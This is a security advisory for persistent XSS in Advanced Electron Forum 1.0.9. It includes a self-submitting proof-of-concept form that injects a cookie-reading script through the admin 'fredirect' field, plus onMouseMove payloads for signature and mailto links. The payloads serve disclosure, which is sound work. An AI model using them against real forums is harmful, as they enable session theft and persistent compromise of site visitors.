Advanced Electron Forum 1.0.9 Cross Site Scripting

2016-01-18T00:00:00
ID PACKETSTORM:135309
Type packetstorm
Reporter hyp3rlinx
Modified 2016-01-18T00:00:00

Description

                                        
                                            `[+] Credits: hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source: http://hyp3rlinx.altervista.org/advisories/AEF-XSS.txt  
  
  
  
Vendor:  
=============================  
www.anelectron.com/downloads/  
  
  
  
Product:  
====================================  
Advanced Electron Forum v1.0.9 (AEF)  
Exploit patched current version.  
  
  
  
Vulnerability Type:  
===================  
Persistent XSS  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
=====================  
  
In Admin panel under Edit Boards / General Stuff / General Options  
  
There is an option to sepcify a redirect URL for the forum.  
  
See --> Redirect Forum:  
Enter a URL to which this forum will be redirected to.  
  
The redirect input field is vulnerable to a persistent XSS that will be  
stored in the MySQL database  
and execute attacker supplied client side code each time a victim visits  
the following URLs.  
  
http://localhost/AEF(1.0.9)_Install/index.php?  
  
http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=forums&seadact=editforum&editforum=1  
  
  
  
Exploit code(s):  
===============  
  
Persistent XSS  
  
<form id="XSS-DE-PERSISTO" action="  
http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=forums&seadact=editforum&editforum=1"  
method="post">  
<input type="hidden" name="editmother" value="c1" />  
<input type="hidden" name="forder" value="1" />  
<input type="hidden" name="fstatus" value="1" />  
<input type="hidden" name="fredirect" value='"/><script>alert("XSS  
hyp3rlinx \n\n" + document.cookie)</script>' />  
<input type="hidden" name="fimage" value="" />  
<input type="hidden" name="fname" value="Generals" />  
<input type="hidden" name="fdesc" value="hyp3rlinx" />  
<input type="hidden" name="ftheme" value="0" />  
<input type="hidden" name="frulestitle" value="MAYHEM" />  
<input type="hidden" name="frules" value="0" />  
<input type="hidden" name="rss" value="10" />  
<input type="hidden" name="rss_topic" value="0" />  
<input type="hidden" name="member[-1]" value="on" />  
<input type="hidden" name="member[0]" value="on" />  
<input type="hidden" name="member[3]" value="on" />  
<input type="hidden" name="inc_mem_posts" value="on" />  
<input type="hidden" name="allow_poll" value="on" />  
<input type="hidden" name="allow_html" value="on" />  
<input type="hidden" name="mod_posts" value="on" />  
<input type="hidden" name="editboard" value="Edit+Forum" />  
<script>document.getElementById('XSS-DE-PERSISTO').submit()</script>  
</form>  
  
  
  
Some other misc XSS(s) under 'Signature' area.  
  
  
http://localhost/AEF(1.0.9)_Install/index.php?act=usercp&ucpact=signature  
on Anchor link setting  
http://"onMouseMove="alert(0)  
  
AND  
  
http://localhost/AEF(1.0.9)_Install/index.php?act=usercp&ucpact=writepm  
email link:  
mailto:"onMouseMove="alert(1)  
  
  
  
Disclosure Timeline:  
=====================================  
Vendor Notification: NA  
January 17, 2016 : Public Disclosure  
  
  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
  
Severity Level:  
================  
High  
  
  
  
Description:  
=================================================================  
  
  
Request Method(s): [+] POST  
  
  
Vulnerable Product: [+] AEF v1.0.9 (exploit patched version)  
  
  
Vulnerable Parameter(s): [+] 'fredirect'  
  
=================================================================  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit is given to  
the author.  
The author is not responsible for any misuse of the information contained  
herein and prohibits any malicious use of all security related information  
or exploits by the author or elsewhere.  
  
by hyp3rlinx  
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